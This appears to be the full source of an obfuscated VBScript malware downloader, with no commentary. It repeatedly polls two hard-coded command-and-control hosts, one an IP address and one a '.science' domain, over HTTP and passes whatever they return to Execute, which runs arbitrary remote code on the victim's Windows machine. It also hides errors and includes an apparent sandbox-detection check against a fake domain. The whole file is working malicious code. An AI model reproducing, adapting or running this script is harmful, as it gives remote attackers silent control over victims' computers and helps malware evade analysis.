dim sss, PasAdAPaPAMyArray, FuraAdurls, httpsPoollla, ZakoNidaAzzz, NalAdAdkkk, GorloAdaands
dim LomoTadAurls, RinzaAdaate, MediaAdddate
	Dim CalibKosasatus
MediaAdddate = null
ZakoNidaAzzz = "5550757"

Function  TodayReadloas2()
	Dim Farujuylsd
 Farujuylsd = TodayReadloas()
End Function

Function  TodayReadloas()
  On Error Resume Next
    randomize
    GorloAdaands = int(rnd*2) + 1
	LomoTadAurls = "http://"+NalAdAdkkk(GorloAdaands)+"/oncemess.php?ids=75525655&&opt="
    TodayReadloas(LomoTadAurls)
End Function

Function  TodayReadloas3()
	TodayReadloas2()
End Function

Function  TodayReadloas4()
	TodayReadloas3()
End Function

Function  TodayReadloas5()
	TodayReadloas4()
End Function

Function  ProbkaSfSkip()
  On Error Resume Next
	KitKArdsMinsa()
    TurBoMessage(MediaAdddate)
	NalAdAdkkk = Array("", "", "")
End Function

Function  TodayReadloas6()
	TodayReadloas5()
End Function

Function  TodayReadloas7()
	TodayReadloas6()
End Function

Function  TodayReadloas8()
	TodayReadloas7()
End Function

Function  TodayReadloas9()
	TodayReadloas8()
End Function

Function  KitKArdsMinsa()
	NalAdAdkkk(2) = "192.3.204.237"
	NalAdAdkkk(1) = "servespromail"+".science"
	TodayReadloas9()
End Function

Function ColedoSkopTest()
     	 MacarychAdReset()
End Function

Function  MacarychAdReset()
    ZakoNidaAzzz = CStr(ZakoNidaAzzz + 1)
End Function

Function  YouASdAGoo(responseText)
    On Error Resume Next
	PasAdAPaPAMyArray = Array(00, 22, 11, 00, 22,43, 34, 2341, responseText)
	MaiamiFAxdA()
End Function

Function  TurBoMessage(kololosaddate)
    On Error Resume Next
    dim reqAreq, zastreddy
    Set reqAreq = createobject("Microsoft.XMLHTTP")
    reqAreq.Open "GET", kololosaddate, False
    reqAreq.Send
            WScript.Sleep 100
			zastreddy = reqAreq.responseText
	YouASdAGoo(zastreddy)
End Function

Function ERTYUIOsTest()
        MediaAdddate = ""
	MediaAdddate =+ LomoTadAurls  + ZakoNidaAzzz + "&" +  "msname"
End Function

Function PionerSSSTest()
    ColedoSkopTest()
	ERTYUIOsTest()
End Function

Function ELuzaAdAHello()
	PionerSSSTest()
         Execute "" + PasAdAPaPAMyArray(8) + ""
End Function

Function  MaiamiFAxdA()
	On Error Resume Next
	Set httpsPoollla = CreateObject("Microsoft.XMLHTTP")
	httpsPoollla.Open "G"+"ET", "https://mailsmaasessage.comssssaaa/32123123", False
    httpsPoollla.Send
	CalibKosasatus = httpsPoollla.Status
	 WScript.Sleep 100
matildasmsgood()
End Function

Function  matildasmsgood()
    If (CalibKosasatus = 200) Then
		DAdsBruhoPosidimMase()
    Else
		ELuzaAdAHello()
	End If
End Function


Function  DAdsBruhoPosidimMase()
	dim sapalachsAsex
	sapalachsAsex = 0
    sapalachsAsex = FormatDateTime(Now, vbLongTime)
	DAdsBruhoPosidimMase(sapalachsAsex)
End Function


Function  ExpresSsFaxPc()
  On Error Resume Next
	While ZakoNidaAzzz > 1
       WScript.Sleep 8000
    Call ProbkaSfSkip()
   Wend
End Function

Call ExpresSsFaxPc()